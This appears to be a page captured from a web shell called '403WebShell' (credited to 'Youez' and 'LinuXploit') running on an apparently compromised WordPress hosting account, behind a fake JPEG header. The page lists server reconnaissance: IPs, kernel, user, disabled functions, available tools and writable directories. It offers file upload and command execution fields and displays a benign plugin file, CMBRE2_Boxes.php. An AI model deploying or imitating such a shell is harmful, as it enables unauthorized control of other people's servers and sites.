????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/cmbre2/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/cmbre2/includes/CMBRE2_Boxes.php
<?php
/**
 * A CMBRE2 object instance registry for storing every CMBRE2 instance.
 *
 * @category  WordPress_Plugin
 * @package   CMBRE2
 * @author    WebDevStudios
 * @license   GPL-2.0+
 * @link      http://webdevstudios.com
 */
if ( ! defined( 'WPINC' ) ) exit;
class CMBRE2_Boxes {

	/**
	 * Array of all metabox objects
	 * @var   array
	 * @since 2.0.0
	 */
	protected static $cmbre2_instances = array();

	/**
	 * Add a CMBRE2 instance object to the registry
	 * @since 1.X.X
	 * @param CMBRE2  $cmb_instance CMBRE2 instance
	 */
	public static function add( CMBRE2 $cmb_instance ) {
		self::$cmbre2_instances[ $cmb_instance->cmb_id ] = $cmb_instance;
	}

	/**
	 * Remove a CMBRE2 instance object to the registry
	 * @since  1.X.X
	 * @param  string $cmb_id A CMBRE2 instance id
	 */
	public static function remove( $cmb_id ) {
		if ( array_key_exists( $cmb_id, self::$cmbre2_instances ) ) {
			unset( self::$cmbre2_instances[ $cmb_id ] );
		}
	}

	/**
	 * Retrieve a CMBRE2 instance by cmb id
	 * @since  1.X.X
	 * @param  string $cmb_id A CMBRE2 instance id
	 *
	 * @return mixed          False or CMBRE2 object instance
	 */
	public static function get( $cmb_id ) {
		if ( empty( self::$cmbre2_instances ) || empty( self::$cmbre2_instances[ $cmb_id ] ) ) {
			return false;
		}

		return self::$cmbre2_instances[ $cmb_id ];
	}

	/**
	 * Retrieve all CMBRE2 instances registered
	 * @since  1.X.X
	 * @return array Array of all registered metaboxes
	 */
	public static function get_all() {
		return self::$cmbre2_instances;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit